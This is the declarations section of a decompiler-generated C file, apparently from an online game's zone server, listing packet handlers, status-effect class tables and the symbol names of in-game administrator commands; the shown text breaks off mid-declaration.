/* This file has been generated by the Hex-Rays decompiler. Copyright (c) 2007-2011 Hex-Rays Detected compiler: Visual C++ */ #include #include #include //------------------------------------------------------------------------- // Data declarations extern _UNKNOWN sub_415355; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_AdminCommand; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BAT_ASSIST_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_AmpersandCommand_LevelUp; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BAT_TARGETTING_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BAT_HIT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_GetExperienceFromMob; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_mobile_IsEnemy; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BRIEFINFO_INFORM_CMD; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MakeMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_charbasedata; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_CharAbstateData; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_CharChargedBuffData; // weak extern _UNKNOWN sub_435445; // weak extern void *FieldMap::fm_Compare; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_SaveLocation; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::so_Chat; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::so_Shout; // weak extern _UNKNOWN FieldMap::FieldMap; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCANCEL_CMD; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERSTART_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_GuildReType; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_GuildReName; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_DICEGAME_THROW_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_FlagCapture; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_FlagCaptureCast; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_RECALL_ENTER_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_Summon2GuildTournament; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_ItemLotInspecting; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGED_WITHDRAW_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_Volley; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_TargetChange; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_smo_CrossCounterDamage; // weak extern _UNKNOWN ShineObjectClass::ShineMob::so_smo_CrossCounterDamage; // weak extern _UNKNOWN MobRegenClass::MobBreeder::mb_View; // weak extern _UNKNOWN MobRegenClass::MobBreeder::mb_Routine; // weak extern _UNKNOWN sub_4C4C44; // weak extern _UNKNOWN ShineObjectClass::ShineMob::so_scene_Duplicate; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_IsCanSessionCloseing; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_JOIN_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_LEAVE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_EXPECT_INCOME_MONEY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_RECEIPT_INCOME_MONEY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_GAME_MODE_CHANGE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_RANK_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_BETTING_CANCEL_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_BUY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_ItemBuyGuildToken; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_DISMANTLE_REQ; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_ITEM_PICK_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_ACTIV_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_ITEM_UNEQUIP_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_mh_Move2MiniHouseFurniture; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_AllInMapMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_AllInMapMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_AllOfRangeMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_SaveWeaponTitle; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::smo_SPCheck; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::smo_SPCheckConsume; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::smo_ReflectionDamage; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_RecoverPoint_House; // weak extern _UNKNOWN sub_505326; // weak extern _UNKNOWN sub_505345; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_Routine; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MH_SetMHPortalList; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MH_AddMHPortal; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_GetNextFurnitureHandle; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_SaveMHInven; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_LogOut; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_GetFurnitureInven; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MH_FurnitureEndureUpdate; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_MH_FurnitureEndureUse; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_VISITREADY_REQ; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_LOGINCOMPLETE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FUNITUREINFOCOMPLETE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_EXIT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_CREATE_FURNITURE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_REARRANGE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_DELETE_FURNITURE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_TITLE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_PASSWORD_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_MAXENTERNUM_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_ITEM_INFO_OPEN_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_MODIFY_NOTIFY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_OPEN_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_CLOSE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_PORTAL_EFFECT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_PortalEffectApply; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_CHAR_ACTION_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EFFECT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_MH_EffectApply; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_KICKOUT_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MINIHOUSE_FURNITURE_EMOTION_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_Schedule_BuildMiniHouse; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::hasObserver; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_Revival; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_OBJ_CAST_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_FLY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_FreeStat_Increase; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_FreeStat_Decrease; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::so_ply_StatIncrease; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BOOTH_REFRESH_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BOOTH_ENTRY_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_BOOTH_ITEMTRADE_REQ; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_CANCEL_CMD; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_ASKNO_ACK; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSEYES_ACK; // weak extern _UNKNOWN ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_DIVORCE_REFUSE_CMD; // weak extern void *ShineObjectClass::ShinePlayer::sp_NC_CHAR_WEDDING_PARTNER_INFO_REQ; // weak extern _UNKNOWN _L20299_0; // weak extern _UNKNOWN _L20039; // weak extern _UNKNOWN _L20269; // weak extern _UNKNOWN _E4_38; // weak extern _UNKNOWN _E70; // weak extern _UNKNOWN _E91; // weak extern _UNKNOWN _E106; // weak extern _UNKNOWN _E124; // weak extern _UNKNOWN _E145; // weak // extern PFUNCTION_TABLE_ACCESS_ROUTINE64 SymFunctionTableAccess64; // extern PGET_MODULE_BASE_ROUTINE64 SymGetModuleBase64; extern char message[]; // idb extern char aAbnormalstated[]; // idb extern int (*AbnormalStateContainer::SubAbnormalStateActor::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateMaxHP::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateFear::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorPoison::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorDisease::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorHPHeal::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorSPHeal::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorShield::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorManaShield::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorSelfRevive::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActerTimeAttack::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorCastDelay::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime::_vftable_)(); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorSilence::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateElement::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateElementNormal::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateElementRecover::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateReinforcedMove::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStatePartyEnchant::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateRestCount::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateEachTickRoutine::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStateHide::_vftable_)(); // weak extern int (*AbnormalStateContainer::AbnormalStatePolymorph::_vftable_)(); // weak extern char aBase[5]; // weak extern char aNormal[7]; // weak extern char aParty[6]; // weak extern char aGldaca[7]; // weak extern char aWedcpl[7]; // weak extern char aRecover[8]; // weak extern char aReinforcedmove[15]; // weak extern char aRestcount[10]; // weak extern char aTick[5]; // weak extern char aEachtick[9]; // weak extern char aHide[5]; // weak extern char aPolymorph[]; // idb extern char aActor[6]; // weak extern char aMaxhp[6]; // weak extern char aFear[5]; // weak extern char aCaptivate[10]; // weak extern char aPoison[7]; // weak extern char aRangedamage[12]; // weak extern char aDisease[8]; // weak extern char aHpheal[7]; // weak extern char aSpheal[7]; // weak extern char aHpspheal[9]; // weak extern char aShield[]; // idb extern char aManashield[11]; // weak extern char aPartyrecharge[14]; // weak extern char aSelfrevive[11]; // weak extern char aRangeintercept[15]; // weak extern char aLastdmgretio[13]; // weak extern char aLastdmgratio_d[21]; // weak extern char aTimeattack[11]; // weak extern char aCastdelay[10]; // weak extern char aIgnorecooltime[15]; // weak extern char aSilence[8]; // weak extern char aAbnormalstatee[]; // idb extern int (*AbnormalStateContainer::AbnormalStateCouplePartyEnchant::_vftable_)(); // weak extern int (__stdcall *AxialListNearScanParty::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanCoupleParty::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanGuildAcademy::_vftable_)(int, int, int distancesquar); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_vftable_)(); // weak extern char aAbnormalsta_72[]; // idb extern char aAbnormalsta_34[]; // idb extern int (__stdcall *AxialListNearScanFriend::_vftable_)(int, int, int distancesquar); // weak extern int (*AbnormalStateContainer::SubAbnormalStateActorDetachProcess::_vftable_)(); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (*AbnormalStateContainer::SubAbnormalStateCaptivate::_vftable_)(); // weak extern char aAbnormalsta_20[]; // idb extern char aAbnormalsta_74[]; // idb extern char funcname[]; // idb extern char aAbnormalstat_1[]; // idb extern char aAbnormalsta_62[]; // idb extern char aShineobject_93[]; // idb extern char aShineobject_94[]; // idb extern char aShineobjectc_1[]; // idb extern char aShineobject_95[]; // idb extern char aShineobject_97[]; // idb extern char aShineobject_96[]; // idb extern char where[]; // idb extern char aAbnormalsta_59[]; // idb extern char aAbnormalsta_29[]; // idb extern char aAbnormalsta_51[]; // idb extern int (__stdcall *ListIter_ObjectAbStateRoutine::_vftable_)(int ele, char isterminated); // weak extern char aAbnormalsta_15[]; // idb extern char aAbnormalsta_70[]; // idb extern char aAbnormalstat_7[]; // idb extern char aAbnormalsta_12[]; // idb extern char aAbnormalsta_71[]; // idb extern char aAbnormalsta_27[]; // idb extern char aAbnormalsta_24[]; // idb extern char aAbnormalsta_21[]; // idb extern char aAbnormalsta_47[]; // idb extern char aAbnormalstat_4[]; // idb extern char aAbnormalsta_31[]; // idb extern char aAbnormalsta_61[]; // idb extern char aAbnormalstat_2[]; // idb extern char aAbnormalsta_69[]; // idb extern char aAbnormalstat_8[]; // idb extern char aAbnormalsta_78[]; // idb extern char aAbnormalsta_23[]; // idb extern char aRevive[]; // idb extern char aYes[]; // idb extern char aNo[3]; // idb extern char aAbnormalsta_63[]; // idb extern char aAbnormalsta_73[]; // idb extern char aAbnormalsta_52[]; // idb extern char aAbnormalsta_42[]; // idb extern char aAbnormalsta_22[]; // idb extern char aAbnormalsta_26[]; // idb extern char aAbnormalsta_46[]; // idb extern char aAbnormalsta_80[]; // idb extern char aAbnormalstatec[]; // idb extern char aShineobject_98[]; // idb extern char asc_597958[]; // idb extern char aSo_mobile_dama[25]; // weak extern char asc_5979E0[]; // idb extern char asc_597A20[]; // idb extern char aAbnormalsta_76[]; // idb extern char aAbnormalsta_57[]; // idb extern char aAbnormalsta_75[]; // idb extern char aAbnormalsta_18[]; // idb extern char aAbnormalsta_67[]; // idb extern char aAbnormalsta_43[]; // idb extern char aAbnormalsta_79[]; // idb extern char aAbnormalsta_53[]; // idb extern char aAbnormalstat_6[]; // idb extern char aAbnormalsta_38[]; // idb extern char aAbnormalsta_77[]; // idb extern char aAbnormalsta_40[]; // idb extern char aAbnormalsta_11[]; // idb extern char aAbnormalsta_44[]; // idb extern char aAbnormalstat_3[]; // idb extern char asc_597F18[]; // idb extern char aAxiallistnea_6[]; // idb extern char aAxiallistnea_4[]; // idb extern char aAxiallistnea_0[]; // idb extern char aAbnormalsta_45[]; // idb extern char aAbnormalsta_33[]; // idb extern char aAbnormalsta_39[]; // idb extern char aAbnormalsta_60[]; // idb extern char aAbnormalsta_65[]; // idb extern char asc_598140[]; // idb extern char asc_598188[]; // idb extern char aBinarydatabo_1[]; // idb extern char aCodeXDShnXD[]; // idb extern char aBinarydataboxT[]; // idb extern char a__9dataSubabst[]; // idb extern char aW[2]; // idb extern char fname[]; // idb extern char aAbnormalsta_58[]; // idb extern char aAbnormalstat_5[]; // idb extern char aAbnormalstat_0[]; // idb extern char aAbnormalsta_19[]; // idb extern char aAbnormalsta_17[]; // idb extern char a__9dataShineAb[]; // idb extern int (__stdcall *UseEffect::UseItemJustReviveAtDead::_vftable_)(int, int itm); // weak extern char asc_5983D0[]; // idb extern char asc_59840C[]; // idb extern char asc_598440[]; // idb extern int (__stdcall *ChargedItemEffectList::ChargedEffectAfterLoginComplete::_vftable_)(int ele, __int16 handle); // weak extern char aChargediteme_8[]; // idb extern char asc_5984D0[]; // idb extern char aChargediteme_3[]; // idb extern char asc_59855C[]; // idb extern char asc_598590[]; // idb extern char asc_5985C8[]; // idb extern char asc_598600[]; // idb extern char aAbnormalsta_50[]; // idb extern char Ptr[]; // idb extern char aAbnormalstates[]; // idb extern char aUseeffectUs_43[]; // idb extern int (__thiscall *AxialListMobSuicide::_vftable_)(AxialListMobSuicide *this, int, #331 *obj, int distancesquar); // weak extern char aItemdataboxOpe[]; // idb extern char aSS02d_txt[]; // idb extern char a02d02d02d[]; // idb extern char a04d02d02d[]; // idb extern char aS[]; // idb extern char aA_1[]; // idb extern char a_255s[]; // idb extern int (__stdcall *AxialListDoorAction::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AmpersandCommand::_vftable_[3])(__int16 hnd); // weak extern char aListiter_ampcm[]; // idb extern int (__stdcall *ListIter_AmpCmdArgument::_vftable_)(int ele, __int16 handle); // weak extern char aListiter_amp_2[]; // idb extern char asc_598850[]; // idb extern char aAmpersandcom_0[]; // idb extern char aGateCloseIfLin[]; // idb extern char aNotePermanantl[]; // idb extern char aExMobbreed10Ro[]; // idb extern char aUsageTemplinkL[]; // idb extern char aExMobbreedSlim[]; // idb extern char aUsageMobbreedM[]; // idb extern char aD[3]; // idb extern char aAmpersandcom_2[]; // idb extern char aAmpersandcom_3[]; // idb extern char aTooManyAmpersa[]; // idb extern char aAdminLevelIsD[]; // idb extern char aAmpersandcom_7[]; // idb extern char aAmpersandcom_8[]; // idb extern char aInvalidMapName[]; // idb extern char aSecNeeded[]; // idb extern char aAmpersandco_11[]; // idb extern char aAmpersandco_12[]; // idb extern char aAmpersandco_13[]; // idb extern MobTacticElement::MobActionArgument stru_598DE4; // idb extern char aAmpersandco_29[]; // idb extern char aAmpersandco_30[]; // idb extern char format[]; // idb extern char aAmpersandco_31[]; // idb extern char aDistanceDGrid[]; // idb extern char aAmpersandco_34[]; // idb extern char aAmpersandco_35[]; // idb extern char aAmpersandco_37[]; // idb extern char aFailToMfindNot[]; // idb extern char aAmpersandco_38[]; // idb extern char aFailToPfindNot[]; // idb extern char aAmpersandco_39[]; // idb extern char aAmpersandco_41[]; // idb extern char aAmpersandco_42[]; // idb extern char aAmpersandco_43[]; // idb extern char aAmpersandco_44[]; // idb extern char aAmpersandco_45[]; // idb extern char aAmpersandco_46[]; // idb extern char aNull_2[]; // idb extern char aAmpersandco_47[]; // idb extern char aAmpersandco_49[]; // idb extern char aAmpersandco_50[]; // idb extern char aInvalidScript[]; // idb extern char aAmpersandco_51[]; // idb extern char aAmpersandco_55[]; // idb extern char aPlayerNotFound[]; // idb extern char aAmpersandco_57[]; // idb extern char aAmpersandco_61[]; // idb extern char aAmpersandco_62[]; // idb extern char aAmpersandco_63[]; // idb extern char aFailedCannotFi[]; // idb extern char aAmpersandco_66[]; // idb extern char aAmpersandco_67[]; // idb extern char aAmpersandco_68[]; // idb extern char aAmpersandco_69[]; // idb extern char aWedding[]; // idb extern char aAmpersandco_70[]; // idb extern char aAmpersandco_79[]; // idb extern char aAmpersandco_80[]; // idb extern char a0[2]; // weak extern char aAmpersandco_81[]; // idb extern char aAmpersandco_85[]; // idb extern char aAmpersandco_86[]; // idb extern char aAmpersandco_87[]; // idb extern char aD_D_DDDU[]; // idb extern char aAmpersandco_88[]; // idb extern char aAmpersandco_90[]; // idb extern char aAmpersandco_92[]; // idb extern char aAmpersandco_93[]; // idb extern char aAllOfLogChange[]; // idb extern char aBalancelogChan[19]; // weak extern char aBalancelog[]; // idb extern char aAmpersandco_94[]; // idb extern char aCZB_[31]; // weak extern char a16CKF_[33]; // weak extern char aDB[11]; // weak extern char a111666CCZJINF_[45]; // weak extern char aAmpersandco_95[]; // idb extern char aAmpersandco_98[]; // idb extern char aWholesaverWs_s[]; // idb extern char aTotalPlyDMobD[]; // idb extern char aSPlyDMobD[]; // idb extern char asc_59A0DC[]; // idb extern char asc_59A104[]; // idb extern char asc_59A158[]; // idb extern char str[]; // idb extern char asc_59A194[]; // idb extern char asc_59A1C8[]; // idb extern char aBigbangScriptU[]; // idb extern char asc_59A204[]; // idb extern char aInvalidVectorT[]; // idb extern char aMaxhpPlueOk[]; // idb extern char byte_59A24E[2]; // idb extern char asc_59A250[]; // idb extern char aMaxspPlueOk[]; // idb extern char asc_59A280[]; // idb extern char aReroadActivesk[]; // idb extern char aActiveskill[]; // idb extern char asc_59A2C4[]; // idb extern char aSmo_setcapti_1[]; // idb extern char aSmo_setcaptiva[22]; // weak extern char a1[]; // idb extern char asc_59A318[]; // idb extern char aIgnoreskillc_1[]; // idb extern char aIgnoreskillcoo[26]; // weak extern char asc_59A370[]; // idb extern char aReleasechatban[]; // idb extern char aIdtimechange[]; // idb extern char aDisposition[]; // idb extern char aGtieffect[]; // idb extern char aShowallchar[]; // idb extern char aLevelup[]; // idb extern char aAlllearnskill[]; // idb extern char aBigbang[]; // idb extern char aTs_diceprobabi[]; // idb extern char aTs_dicefix[]; // idb extern char aNpcrevive[]; // idb extern char asc_59A43C[]; // idb extern char aDebuglogging[]; // idb extern char aPartblock[]; // idb extern char aKnockback[]; // idb extern char aPw[]; // idb extern char aAmibusy[]; // idb extern char aCurtime[]; // idb extern char aGhostremove[]; // idb extern char aInvenview[]; // idb extern char asc_59A4A0[2]; // idb extern char aIgnoreskillc_2[]; // idb extern char aCaptivate_1[]; // idb extern char aReloaddata[]; // idb extern char aLinktosavedata[]; // idb extern char aSpeed[]; // idb extern char aSp[]; // idb extern char aHp_1[]; // idb extern char aObserverout[]; // idb extern char aObserverlinkto[]; // idb extern char aUseguildskill[]; // idb extern char aFlagcapture_1[]; // idb extern char aStartgt[]; // idb extern char aErasechargebuf[]; // idb extern char aAllcritical[]; // idb extern char aMobhatchery[]; // idb extern char aShowid[]; // idb extern char aWedding_1[]; // idb extern char aUnlearnpassive[]; // idb extern char aUnlearn[]; // idb extern char aLearnpassive[]; // idb extern char aEnter[]; // idb extern char aEnterready[]; // idb extern char aReserve[]; // idb extern char aWeddingreset[]; // idb extern char aProposeres[]; // idb extern char aPropose[]; // idb extern char aPartyinfo[]; // idb extern char aCharinform[]; // idb extern char aHorsespeed[]; // idb extern char aEnterminihouse[]; // idb extern char aImmortal[]; // idb extern char aDeathaura[]; // idb extern char aStaticdamage[]; // idb extern char aServersocketcu[]; // idb extern char aEmptymap[]; // idb extern char aBlock[]; // idb extern char aZonelink[]; // idb extern char aGuildtourna_27[]; // idb extern char aEndofkq[]; // idb extern char aReroadkingdomq[]; // idb extern char aKingdomquest[]; // idb extern char aSuicideallmob[]; // idb extern char aMobdamage[]; // idb extern char aKillallmob[]; // idb extern char aKqreward[]; // idb extern char aResetabstate[]; // idb extern char aSetabstate[]; // idb extern char aSkillcooltime[]; // idb extern char aLearnskill[]; // idb extern char aQuestcomplete[]; // idb extern char aQuestrecieve[]; // idb extern char aQuestgiveup[]; // idb extern char aGldcollectset[]; // idb extern char aGldcollectclea[]; // idb extern char aGmchat[]; // idb extern char aD_0[]; // idb extern char aZ[3]; // idb extern char aOxblock_1[]; // idb extern char aTemplink[]; // idb extern char aTimer[]; // idb extern char aScrint[]; // idb extern char aCoord[]; // idb extern char aDist[]; // idb extern char aSetsp[]; // idb extern char aSethp[]; // idb extern char aPerformance[]; // idb extern char aSummonplayer[]; // idb extern char aFullpoint[]; // idb extern char aMb[]; // idb extern char aMobbreed[]; // idb extern char aDoorbuild_1[]; // idb extern char aDimension[]; // idb extern char aMakeitem[]; // idb extern char aServerindex[]; // idb extern char aAdminlevel[]; // idb extern char aParameterview[]; // idb extern char aChargeditem[]; // idb extern char aMobdist[]; // idb extern char aIsblock[]; // idb extern char aDistribute[]; // idb extern char aI_1[6]; // idb extern char aSilence_1[]; // idb extern char asc_59A8C0[]; // idb extern char aFieldbonus[]; // idb extern char asc_59A8D8[]; // idb extern char aItembonus[]; // idb extern char aCSB[]; // idb extern char aExpbonus[]; // idb extern char aP[]; // idb extern char aPsummon[]; // idb extern char asc_59A924[]; // idb extern char aLinkto[]; // idb extern char aC_6[]; // idb extern char aKickout[]; // idb extern char asc_59A948[2]; // idb extern char aMfind[]; // idb extern char asc_59A958[6]; // idb extern char aPfind[]; // idb extern char aI[]; // idb extern char aShow[]; // idb extern char asc_59A978[2]; // idb extern char aHide_1[]; // idb extern unsigned __int8 asc_59A988[]; // idb extern char asc_59A98C[]; // idb extern MobTacticElement::MobActionArgument argument; // idb extern char unk_59A994[]; // idb extern char unk_59A998[]; // idb extern char unk_59A9CC[]; // idb extern char unk_59A9E4[]; // idb extern char aAmpersandco_14[20]; // idb extern _UNKNOWN AttackRhythm::AttackRhythmBase::_vftable_; // weak extern _UNKNOWN AttackRhythm::AttackRhythm_Melee::_vftable_; // weak extern _UNKNOWN AttackRhythm::AttackRhythm_Range::_vftable_; // weak extern _UNKNOWN AttackRhythm::AttackRhythm_Mob::_vftable_; // weak extern _UNKNOWN AxialListIterator::_vftable_; // weak extern _UNKNOWN AxialListBossFind::_vftable_; // weak extern _UNKNOWN AxialListShowID::_vftable_; // weak extern _UNKNOWN AxialListProtocolSend::_vftable_; // weak extern _UNKNOWN AxialListMobKillLog::_vftable_; // weak extern char unk_59AA80[]; // idb extern _UNKNOWN AxialListPacketBroadcast::_vftable_; // weak extern char unk_59AACC[]; // idb extern char unk_59AB00[]; // idb extern _UNKNOWN AxialListPacketBroadcastByGuild::_vftable_; // weak extern char unk_59AB60[]; // idb extern _UNKNOWN AxialListPacketBroadcast4ItemPickUp::_vftable_; // weak extern char unk_59ABC0[]; // idb extern char unk_59AC10[]; // idb extern char unk_59AC8C[]; // idb extern char aShineplayerTim[]; // idb extern int (__stdcall *AxialListTargetInform::_vftable_)(int, int, int distancesquar); // weak extern char asc_59AD50[]; // idb extern char aTargetobjectTo[]; // idb extern char 